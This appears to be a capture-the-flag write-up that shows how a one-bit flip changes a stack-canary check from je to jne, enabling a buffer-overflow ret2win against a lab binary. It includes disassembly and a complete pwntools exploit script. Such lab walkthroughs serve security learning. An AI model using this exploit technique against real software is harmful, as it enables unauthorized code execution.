Welcome to Challenge 2, where we're much more limited on the data we can input and are forced to think very critically on what we need to do.
Instead of allowing us to change an entire long
of data, we're now only allowed to change one bit!
This eliminates the idea of changing an entire instruction. However, we notice this binary offers the opportunity to "leave a review". Let's check this code:
0x00401696 lea rax, [rip + 0xab3] | rax = "Please rate your experience with the Memory-Write-Inator today:"; 0x0040169d mov rdi, rax | rdi = rax; 0x004016a0 call 0x401100 | puts (rdi); 0x004016a5 lea rax, [rbp - 0x30] | rax = rbp - 0x30; 0x004016a9 mov rsi, rax | rsi = rax; 0x004016ac lea rax, [rip + 0xadd] | rax = "%s[^\n]"; 0x004016b3 mov rdi, rax | rdi = rax; 0x004016b6 mov eax, 0 | eax = 0; 0x004016bb call 0x4011b0 | isoc99_scanf (rdi, rsi);
The code is reading input with scanf
, which is vulnerable to buffer overflow. However, this code has a canary:
[*] '/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Solely given one bit to change, there isn't much we can do. We can't do a GOT Overwrite since we don't have enough bits. We can't change a call
instruction to call elsewhere because we can't write enough.
Our solution comes with an understanding of the Opcode table. Similar instructions are adjacent on the Opcode table to make lookup easier for developers to find necessary instructions and their related counterparts. The most important example here are the Jump statements:
Opcode | Instruction | Argument | Definition |
---|---|---|---|
72 | JB | rel16/32 | Jump near if below/not above or equal/carry (CF=1) |
73 | JNB | rel16/32 | Jump near if not below/above or equal/not carry (CF=0) |
74 | JZ/JE | rel16/32 | Jump near if zero/equal (ZF=1) |
75 | JNZ/JNE | rel16/32 | Jump near if not zero/not equal (ZF=0) |
76 | JBE/JNA | rel16/32 | Jump near if below or equal/not above (CF=1 OR ZF=1) |
77 | JA | rel16/32 | Jump near if not below or equal/above (CF=0 AND ZF=0) |
78 | JS | rel16/32 | Jump near if sign (SF=1) |
79 | JNS | rel16/32 | Jump near if not sign (SF=0) |
7A | JP | rel16/32 | Jump near if parity/parity even (PF=1) |
7B | JNP | rel16/32 | Jump near if not parity/parity odd (PF=0) |
7C | JL/JNGE | rel16/32 | Jump near if less/not greater (SF!=OF) |
7D | JGE/JNL | rel16/32 | Jump near if not less/greater or equal (SF=OF) |
7E | JNG/JLE | rel16/32 | Jump near if less or equal/not greater ((ZF=1) OR (SF!=OF)) |
7F | JG/JNLE | rel16/32 | Jump near if not less nor equal/greater ((ZF=0) AND (SF=OF)) |
All of these instructions are one bit away from their respective counterpart. Therefore, by flipping a bit inside one of these instructions, we can flip how it operates!
In this case, we argued we have a buffer overflow with a canary. Therefore, by flipping the instruction of je
to a jne
, we can change the canary to jump away from the __stack_chk_fail@plt
instruction only if there is a buffer overflow.
0x00000000004016c5 <+168>: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8] 0x00000000004016c9 <+172>: 64 48 2b 14 25 28 00 00 00 sub rdx,QWORD PTR fs:0x28 0x00000000004016d2 <+181>: 74 05 je 0x4016d9 <main+188> 0x00000000004016d4 <+183>: e8 47 fa ff ff call 0x401120 <__stack_chk_fail@plt> 0x00000000004016d9 <+188>: c9 leave 0x00000000004016da <+189>: c3 ret
Therefore, we'll elect to write at 0x4016d2
. The opcode is the first byte of the instruction so we need no offset.
We must decide what bit to flip. We can quickly convert hex to binary:
0x74 = 0111 0100
If we want this to be JNE
, we simply ensure that we turn this to 0x75
. This can be done flipping the last bit:
0111 0101 = 0x75
Once we flip the bit, we have a standard ret2win. The padding is 0x38
bytes following the address of win
.
We realistically don't need Pwntools, but we'll use it for the ease of the buffer overflow.
Let's look at how the binary expects the input.
main + 181
or 0x4016d2
.7
the last bit (the bit of interest).We can sum this all up with this payload:
from pwn import * elf = context.binary = ELF("./chall") p = process() p.sendline(hex(elf.sym.main + 181).encode()) p.sendline(b"7") payload = b"A" * 0x38 payload += p64(elf.sym.win) p.sendline(payload) p.interactive()
This gives us a flag!